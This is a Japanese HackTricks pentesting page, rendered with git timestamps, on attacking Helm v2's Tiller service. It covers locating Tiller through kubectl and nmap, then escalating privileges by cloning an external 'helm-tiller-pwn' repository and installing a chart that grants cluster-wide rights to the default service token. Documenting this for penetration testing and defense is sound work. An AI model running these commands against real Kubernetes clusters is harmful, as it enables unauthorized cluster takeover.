hacktricks/network-services-pentesting/44134-pentesting-tiller-helm.md

71 lines
4.9 KiB
Markdown
Raw Normal View History

2022-04-28 16:01:33 +00:00
<details>
<summary><strong>ゼロからヒーローまでのAWSハッキングを学ぶ</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTEHackTricks AWS Red Team Expert</strong></a><strong></strong></summary>
2022-04-28 16:01:33 +00:00
HackTricksをサポートする他の方法
2022-04-28 16:01:33 +00:00
* **HackTricksで企業を宣伝したい**または**HackTricksをPDFでダウンロードしたい**場合は、[**SUBSCRIPTION PLANS**](https://github.com/sponsors/carlospolop)をチェックしてください!
* [**公式PEASSHackTricksスワッグ**](https://peass.creator-spring.com)を入手する
* [**The PEASS Family**](https://opensea.io/collection/the-peass-family)、当社の独占的な[**NFTs**](https://opensea.io/collection/the-peass-family)コレクションを発見する
* 💬 [**Discordグループ**](https://discord.gg/hRep4RUj7f)または[**telegramグループ**](https://t.me/peass)に**参加**するか、**Twitter** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks_live)で**フォロー**する。
* **HackTricks**https://github.com/carlospolop/hacktricksおよび**HackTricks Cloud**https://github.com/carlospolop/hacktricks-cloudのgithubリポジトリにPRを提出して、あなたのハッキングトリックを共有してください。
2022-04-28 16:01:33 +00:00
</details>
2023-07-07 23:42:27 +00:00
# 基本情報
2021-12-29 12:26:06 +00:00
HelmはKubernetesの**パッケージマネージャ**です。YAMLファイルをパッケージ化して公開およびプライベートリポジトリで配布することができます。これらのパッケージは**Helm Charts**と呼ばれます。**Tiller**はデフォルトでポート44134で実行されている**サービス**です。
2021-12-29 12:26:06 +00:00
2023-07-07 23:42:27 +00:00
**デフォルトポート:** 44134
2021-12-29 12:26:06 +00:00
```
PORT STATE SERVICE VERSION
44134/tcp open unknown
```
2023-07-07 23:42:27 +00:00
# 列挙
2021-12-29 12:26:06 +00:00
異なる名前空間の**ポッドおよび/またはサービスを列挙**できる場合は、それらを列挙して、名前に**"tiller"**が含まれるものを検索します:
2021-12-29 12:26:06 +00:00
```bash
2022-01-14 10:22:14 +00:00
kubectl get pods | grep -i "tiller"
kubectl get services | grep -i "tiller"
kubectl get pods -n kube-system | grep -i "tiller"
kubectl get services -n kube-system | grep -i "tiller"
kubectl get pods -n <namespace> | grep -i "tiller"
kubectl get services -n <namespace> | grep -i "tiller"
2021-12-29 12:26:06 +00:00
```
例:
2021-12-29 12:26:06 +00:00
```bash
kubectl get pods -n kube-system
NAME READY STATUS RESTARTS AGE
kube-scheduler-controlplane 1/1 Running 0 35m
tiller-deploy-56b574c76d-l265z 1/1 Running 0 35m
kubectl get services -n kube-system
NAME TYPE CLUSTER-IP EXTERNAL-IP PORT(S) AGE
kube-dns ClusterIP 10.96.0.10 <none> 53/UDP,53/TCP,9153/TCP 35m
tiller-deploy ClusterIP 10.98.57.159 <none> 44134/TCP 35m
```
You could also try to find this service running checking the port 44134:
### ポート44134をチェックして、このサービスが実行されているかもしれません。
2021-12-29 12:26:06 +00:00
```bash
sudo nmap -sS -p 44134 <IP>
```
一度それを発見したら、クライアントhelmアプリケーションをダウンロードして通信できます。 `homebrew`などのツールを使用するか、[**公式リリースページ**](https://github.com/helm/helm/releases)**を参照してください**。詳細や他のオプションについては、[インストールガイド](https://v2.helm.sh/docs/using\_helm/#installing-helm)を参照してください。
2021-12-29 12:26:06 +00:00
その後、**サービスを列挙**できます:
2021-12-29 12:26:06 +00:00
```
helm --host tiller-deploy.kube-system:44134 version
```
## 特権昇格
2021-12-29 12:26:06 +00:00
デフォルトでは、**Helm2** は **kube-system** ネームスペースに **高い権限** でインストールされていました。そのため、サービスを見つけてアクセス権を持っている場合、これにより **権限を昇格** することができます。
2021-12-29 12:26:06 +00:00
必要なのは、次のようなパッケージをインストールするだけです: [**https://github.com/Ruil1n/helm-tiller-pwn**](https://github.com/Ruil1n/helm-tiller-pwn) これにより、**デフォルトのサービストークンがクラスタ全体のすべてにアクセスできる** ようになります。
2021-12-29 12:26:06 +00:00
```
git clone https://github.com/Ruil1n/helm-tiller-pwn
helm --host tiller-deploy.kube-system:44134 install --name pwnchart helm-tiller-pwn
/pwnchart
```
[http://rui0.cn/archives/1573](http://rui0.cn/archives/1573)には**攻撃の説明**がありますが、基本的には_helm-tiller-pwn/pwnchart/templates/_内の[**clusterrole.yaml**](https://github.com/Ruil1n/helm-tiller-pwn/blob/main/pwnchart/templates/clusterrole.yaml)と[**clusterrolebinding.yaml**](https://github.com/Ruil1n/helm-tiller-pwn/blob/main/pwnchart/templates/clusterrolebinding.yaml)ファイルを読むと、**すべての権限がデフォルトトークンに与えられている**のがわかります。